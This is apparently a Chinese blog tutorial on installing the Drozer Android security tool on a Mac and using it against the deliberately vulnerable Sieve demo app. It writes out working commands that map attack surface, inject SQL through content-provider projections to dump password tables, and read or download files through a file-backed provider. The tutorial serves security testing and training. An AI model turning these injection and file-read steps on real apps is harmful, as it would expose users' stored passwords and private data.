Drozer安装(Mac系统)和使用

Drozer 官网地址https://labs.mwrinfosecurity.com/

Drozer是帮助我们检测Android设备中App应用的漏洞的安全工具。

一、安装

默认我们都有Android开发环境依赖的 JDK AndroidSDK 和 Python2.7(Mac 默认自带) 并且环境变量都已经配置,这里主要介绍一下Mac上的安装过程,具体其他系统安装过程可以参考官网文档。

要安装drozer,首先要确保您的电脑安装了Python 2.7。然后,安装drozer的依赖项

1.1安装openssl

Drozer需要特殊版本的openssl,我们需要下载 pyOpenSSL v0.13,然后用sed指令修复typo,具体指令:

1.1.1 $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz

1.1.2 $ tar xzvf pyOpenSSL-0.13.tar.gz

1.1.3 $ cd pyOpenSSL-0.13

1.1.4 $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c

1.1.5 $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include

1.1.6 $ python setup.py build

1.1.7 $ python setup.py install

1.2安装protobuf

$ easy_install --allow-hosts pypi.python.orgprotobuf

我们从https://github.com/protocolbuffers/protobuf/releases?after=v2.4.1rc1下载protobuf2.4.1版本执行以下安装命令

1、tar zxvf protobuf-2.4.1.tar.gz

2、cd protobuf-2.4.1

3、./configure

4、make(如果出现以下error

                3 errors generated.

                make[2] : *** [message.lo] Error 1

                make[2] : *** [all -recursive] Error 1

                make : *** [all] Error2

                解决方案:

                4.1\. 打开protobuf-2.4.1/src/google/protobuf/message.cc文件

                4.2\. 添加 #include 后关闭文件,重新执行:make 即可)

5、make check

6、make install

执行命令:protoc —version 如果出现libprotoc 2.4.1则说明安装成功

1.3 安装twisted 可以忽略警告和报错,执行一下命令即可

$ easy_install twisted==10.2.0

1.4 安装drozer

$ sudo easy_install ./drozer-2.3.4-py2.7.egg

此外我们可以直接下载drozer(Python.whl)版本,执行下面命令急性安装


image.png

$ sudo pip install drozer-xxx.whl --ignore-installed pyOpenSSL

安装drozer成功后可以输入drozer验证出现一下表示安装成功

image.png

二、使用

2.1、在真机安装drozer官网提供的agent.apk和sieve.apk

2.2、在电脑端开启转发 

         $ adb forward tcp:31415 tcp:31415

2.3、手机端启动Embedded Server
image.png

2.4、在电脑端启动drozer console 输入一下命令

 $ drozer console connect

2.5 Drozer命令

2.5.1 获取获取Android设备上的所有的安装的App的包名,如果想具体查找某个App可加上-f [App关键字]的参数,如查找sieve在Android设备中的包名(sieve.apk在drozer官网上,一个'密码管理器'应用程序,展示了一些常见的Android漏洞)

> run app.package.list -f sieve

2.5.2 获取Sieve的一些基本信息

> run app.package.info -a com.mwr.example.sieve

2.5.3 确定攻击面

> run app.package.attacksurface com.mwr.example.sieve
image.png

结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。 services is debuggable表示我们可以用adb绑定一个调试器到进程。

2.5.4进一步获取攻击面的信息

> run app.activity.info -a com.mwr.example.sieve

2.5.5启动Activities,这里启动是sieve包里的PWList

> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

2.5.6从Content Provider中获取信息

> run [app.provider.info](http://app.provider.info/)-a com.mwr.example.sieve

    2.5.6.1 查找可以访问Content Provider的URI(数据泄漏)

    >run scanner.provider.finduris -a com.mwr.example.sieve
image.png
上图中检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。

> run app.provider.query 

2.5.7执行SQL注入,Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection “'"

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--selection “'"

上面两条命令执行后Android设备返回了非常详细的错误信息。使用Sql注入列出数据库中的所有数据表:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection "* FROM SQLITE_MASTER WHERE type='table';--"

使用SQL注入列出数据表的内容:

>run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)

--projection "* FROM Key;—“

image.png

2.5.8 从File System-Backed Content Providers获取信息,File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。

>run app.provider.read [content://com.mwr.example.sieve.FileBackupProvider/etc/hosts](content://com.mwr.example.sieve.FileBackupProvider/etc/hosts)

可以使用app.provider.download下载文件

>run app.provider.download [content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db](content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db)/Users/wangzhen/Desktop/databse.db

2.5.9 检查Content Provider的脆弱性

2.5.9.1检查是否有SQL注入:

>run scanner.provider.injection -a com.mwr.example.sieve

2.5.9.2检查是否存在遍历文件的漏洞

>run scanner.provider.traversal -a com.mwr.example.sieve

2.5.10 和Services交互

2.5.10.1 获取是exported状态的services的命令

> run app.service.info -a com.mwr.example.sieve

2.5.10.2 向服务发送消息

> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3

你可能感兴趣的:(Drozer安装(Mac系统)和使用)